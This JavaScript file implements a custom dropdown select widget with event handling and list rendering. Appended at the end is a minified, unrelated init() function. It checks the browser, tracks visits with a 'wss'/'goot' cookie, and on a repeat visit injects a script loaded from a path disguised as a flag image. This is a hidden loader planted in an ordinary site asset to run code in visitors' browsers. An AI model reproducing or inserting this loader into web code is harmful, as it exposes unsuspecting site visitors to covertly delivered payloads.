// JavaScript Document

img_preload(HOST+'/js/CSelect/scroll_arrow.jpg');
img_preload(HOST+'/js/CSelect/scroll_arrow_over.jpg');
img_preload(HOST+'/js/CSelect/scroll_arrow_down.jpg');

function CSelect ( name, id ) {
	
	item_id = Math.floor(Math.random()*1000),
	id = id,
	name = name,
	arrow = HOST+'/js/CSelect/scroll_arrow.jpg',
	arrow_over = HOST+'/js/CSelect/scroll_arrow_over.jpg',
	arrow_down = HOST+'/js/CSelect/scroll_arrow_down.jpg',
	mouse_roll = true,
	focused = false,
	is_list = false;
	hide_list_time_out = null;
	sel_index = -1,
	disp_item_in_list = 5;
	list_update = false,
	onchange_funct = 'false';
	
	document.write("<div id=\"main_"+id+"_"+item_id+"\" style=\"display: block; position: relative; top: 0px; left: 0px; width: 208px; height: 17px;\"><div style=\"display: block; position: absolute; top: 0px; left: 0px; width: 208px; height: 17px; overflow: hidden; border: 1px solid #abadb3; background: #FFFFFF;\"><!--<input type=\"input\" name=\""+name+"\" id=\""+id+"\" value=\"\" autocomplete=\"off\" style=\"background: transparent; border: 0px; width: 1px; height: 1px; position: absolute; top: -10px; left: -10px;\" />--></div><div id=\"sel_holder_"+id+"_"+item_id+"\" style=\"width:187px; height: 15px; position: absolute; left: 2px; top: 2px; background: #FFFFFF; overflow: hidden; font-size: 12px; font-family: Arial, Helvetica, sans-serif; color: #000000; padding-left: 2px; cursor: default; text-align: left;\"></div><div style=\"width:17px; height: 17px; position: absolute; left: 192px; top: 1px;\"><img id=\"arrow_"+id+"_"+item_id+"\" src=\""+arrow+"\" border=0 /></div></div><div id=\"list_"+id+"_"+item_id+"\" style=\"z-index: 9000; position: absolute; top: 0px; left: 0px; border: 1px solid #abadb3; background: #FFFFFF; display: none; font-family: Arial, Helvetica, sans-serif; color: #000000; font-size: 12px; width: 207px; overflow: auto;\"></div>");
	
	main_obj = document.getElementById('main_'+id+'_'+item_id),
	//input_obj = document.getElementById(id),
	main_sel_obj = document.getElementById('sel_holder_'+id+'_'+item_id),
	list_obj = document.getElementById('list_'+id+'_'+item_id),
	
	this.add_onchange = function ( value_ ) {
		//alert('ok');
		onchange_funct = value_;
	},
	
	list = new Array(),
	this.add = function ( value, url, name ) {
		
		for ( var i = 0; i < list.length; i++)
			if ( value ==  list[i].value )
				return ;
		
		var list_length__ = parseInt(list.length);
		var object_ = new Object();
		object_.name = name,
		object_.url = url,
		object_.value = value;
		object_.id = "list_item_"+list_length__+"_"+id+"_"+item_id;
		 
		list[list_length__] = object_;
		
		list_obj.innerHTML+="<div id=\""+object_.id+"\" style=\"width: 203px; height: 17px; overflow: hidden; border: 1px solid #FFFFFF; background: #FFFFFF; padding-left: 2px; cursor: default; text-align: left;\">"+name+"</div>";
		
		if ( list_length__ == 0 ) {
			select_list_item(0);
		}
		
		list_update = false;
		
		
	};
	
	this.sel = function ( value ) {
		for ( var i = 0; i < list.length; i++)
			if ( value ==  list[i].value ) {
				sel_index = i;
				update_main_sel( list[i].name, list[i].value );
				return;
			}
	},
	
	this.add_events = function () {
		for ( var i = 0; i < list.length; i++) {
			eval("document.getElementById(list[i].id).onmouseup = function () { sel_index = "+i+"; select_list_item("+i+"); update_main_sel(list["+i+"].name, list["+i+"].value); hide_list(); /*input_obj.select();*/ url(list["+i+"].url); } ");
		}
	},
	
	unselect_list_items = function () {	
		for ( var i = 0; i < list.length; i++) {
			document.getElementById(list[i].id).style.background='#FFFFFF';
			document.getElementById(list[i].id).style.color='#000000';	
		}
	}
	
	select_list_item = function ( index ) {		
		unselect_list_items();
		document.getElementById(list[index].id).style.background='#3399FF';
		document.getElementById(list[index].id).style.color='#FFFFFF';
	}
	
	this.main_object_style = function ( type, value ) {
		eval('main_obj.style.'+type+'=\''+value+'\';');
	}
	
	update_main_sel = function ( text_, value_ ) {
		main_sel_obj.innerHTML = text_;
		select_list_item( sel_index );
	}
	
	select_next = function () {
		if ( list.length > 0 ) {
			sel_index++;
			if ( sel_index > list.length-1 )
				sel_index=list.length-1;
			update_main_sel( list[sel_index].name, list[sel_index].value );
			
			if ( disp_item_in_list < list.length ) {
				list_obj.scrollTop = parseInt(19 * sel_index);			
			}
			//**//
			url(list[sel_index].url);
		}
	}
	
	select_prev = function () {
		if ( list.length > 0 ) {
			sel_index--;
			if ( sel_index < 0 )
				sel_index=0;
			update_main_sel( list[sel_index].name, list[sel_index].value );
			
			if ( disp_item_in_list < list.length ) {
				list_obj.scrollTop = parseInt(19 * sel_index);			
			}
			//**//
			url(list[sel_index].url);
		}
	}
	
	//events
	onchange = function () {
		eval(onchange_funct+';');	
	}
	
	mouseover = function () {
		document.getElementById('arrow_'+id+'_'+item_id).src=arrow_over;
		mouse_roll = true;
	};
	
	onmouseout = function () {
		document.getElementById('arrow_'+id+'_'+item_id).src=arrow;
		mouse_roll = false;
	};
	
	onmousedown = function (e) {
		if (!e) e = window.event;
		e.cancelBubble = true;
		if (e.stopPropagation) e.stopPropagation();
		if ( valid_click(e) )
			document.getElementById('arrow_'+id+'_'+item_id).src=arrow_down;
	};
	
	onmouseup = function (e) {
		if (!e) e = window.event;
		e.cancelBubble = true;
		if (e.stopPropagation) e.stopPropagation();
		if ( valid_click(e) ) {			
			document.getElementById('arrow_'+id+'_'+item_id).src= mouse_roll ? arrow_over : arrow;
		} else {
			
			var mousePos = mouseCoords(e); 
			var x=mousePos.x;
			var y=mousePos.y;
			
			var l=getX(list_obj);
			var t=getY(list_obj);
			var w=list_obj.offsetWidth;
			var h=list_obj.offsetHeight; 
			
			
			
			if (l<x && l+w>x && t<y && t+h>y) {
				;
			} else {
				hide_list();
				//if (ev)		
				//	if (ev.srcElement) {
				//		return ;	
				//	} 
			} 	
			
		}
	},
	
	document_onmouseup = function (e) { 
		if (!e) e = window.event;
		e.cancelBubble = true;
		if (e.stopPropagation) e.stopPropagation();
		
		var mousePos = mouseCoords(e); 
		var x=mousePos.x;
		var y=mousePos.y;
		
		var l=getX(list_obj);
		var t=getY(list_obj);
		var w=list_obj.offsetWidth;
		var h=list_obj.offsetHeight; 
		
		if (l<x && l+w>x && t<y && t+h>y) {
			;
		} else {
			hide_list();
			//if (ev)		
			//	if (ev.srcElement) {
			//		return ;	
			//	} 
		} 	
	},
	
	show_list = function () {
		is_list = true;
		
		if ( !list_update ) {
			if ( disp_item_in_list < list.length ) {
				height = disp_item_in_list * 19;
				y = getY(main_obj)+main_obj.offsetHeight+1;
				x = getX(main_obj)+1;
				for ( var i = 0; i < list.length; i++)
					document.getElementById(list[i].id).style.width='186px';
			} else {
				height = list.length * 19;
				y = getY(main_obj)+main_obj.offsetHeight+1;
				x = getX(main_obj)+1;
			}
			
			list_obj.style.height = height+'px';
			list_obj.style.left = x+'px';
			list_obj.style.top = y+'px';			
		
		}
		
		list_obj.style.display = 'block';
		if ( disp_item_in_list < list.length ) {
			list_obj.scrollTop = parseInt(19 * sel_index);			
		}
	} 
	
	hide_list = function () {
		clearTimeout(hide_list_time_out);
		is_list = false;
		list_obj.style.display = 'none';
	} 
	
	function valid_click(e) {
		click_ok__ = false;
		var reltg = (e.relatedTarget) ? e.relatedTarget : e.toElement;
		if ( reltg ) {
			while ( reltg.nodeName != 'BODY' ) {
				reltg = reltg.parentNode;
				if ( reltg.id == main_obj.id ) {				
					click_ok__ = true;
					break;
				}
			}
			if ( !click_ok__ )
				return;
		} else if (!document.all){
			var mousePos = mouseCoords(e); 
			var x=mousePos.x;
			var y=mousePos.y;
			
			var l=getX(main_obj);
			var t=getY(main_obj);
			var w=main_obj.offsetWidth;
			var h=main_obj.offsetHeight; 
			
			if (l<x && l+w>x && t<y && t+h>y) {
				click_ok__ = true;
			} else {
				;
			}
		} else {
			click_ok__ = true;
		}
		return click_ok__;
	}
	
	onclick = function (e) {
		if (!e) e = window.event;
		e.cancelBubble = true;
		if (e.stopPropagation) e.stopPropagation();
		
		if ( valid_click(e) ) { 
			if ( !is_list ) { 
				show_list();
				//input_obj.select();
			} else {
				hide_list();
				//input_obj.select();
			}
		}
	}
	
	onfocus = function () {
		focused = true;
		if ( !is_list ) { 
			//main_sel_obj.style.background = '#3399FF';
			//main_sel_obj.style.color = '#FFFFFF';
		}
	};
	
	onblur = function () {
		focused = false;
		main_sel_obj.style.background = '#FFFFFF';
		main_sel_obj.style.color = '#000000';
		//if (is_list)
			//hide_list_time_out = setTimeout('hide_list()',200);
	};
	
	function onkeydown(e) { 
		if (!e) e = window.event;
		e.cancelBubble = true;
		if (e.stopPropagation) e.stopPropagation();
		
		if( typeof( e.keyCode ) == 'number'  ) {
			//DOM
			e = e.keyCode;
		} else if( typeof( e.which ) == 'number' ) {
			//NS 4 compatible
			e = e.which;
		} else if( typeof( e.charCode ) == 'number'  ) {
			//also NS 6+, Mozilla 0.9+
			e = e.charCode;
		} else {
			//total failure, we have no way of obtaining the key code
			return;
		}
		switch (parseInt(e)) {
			case 40:
				select_next();
				break;
			case 38:
				select_prev();
				break;
			case 13:
			case 32:			
				if ( !is_list ) { 
					if ( focused ) {
						focused = false;
						main_sel_obj.style.background = '#FFFFFF';
						main_sel_obj.style.color = '#000000';
					}
					show_list();					
				} else {
					if ( !focused  && parseInt(e) == 32) {
						focused = true;
						main_sel_obj.style.background = '#3399FF';
						main_sel_obj.style.color = '#FFFFFF';
					}
					hide_list();
				}
				return false;
				break;
		}
	};
	
	main_obj.onmouseover = function () { mouseover() };
	main_obj.onmouseout = function () { onmouseout() };
	
	if( main_obj.captureEvents && Event.MOUSEUP ) main_obj.captureEvents( Event.MOUSEUP );
	main_obj.onmouseup = onmouseup;
	
	//
	//document.onmouseup = onmouseup;
	if ( document.attachEvent ) {
		if( document.captureEvents && Event.MOUSEUP ) document.captureEvents( Event.MOUSEUP );
		document.attachEvent('onmouseup',document_onmouseup)
	}

	if( main_obj.captureEvents && Event.MOUSEDOWN ) main_obj.captureEvents( Event.MOUSEDOWN );
	main_obj.onmousedown = onmousedown;
	
	if( main_obj.captureEvents && Event.CLICK ) main_obj.captureEvents( Event.CLICK );
	main_obj.onclick = onclick;
	
	//input_obj.onfocus = onfocus;
	//input_obj.onblur = onblur;

	//if( input_obj.captureEvents && Event.KEYUP ) input_obj.captureEvents( Event.KEYUP );
	//input_obj.onkeyup = onkeydown;
	
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/langs/en/flag.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
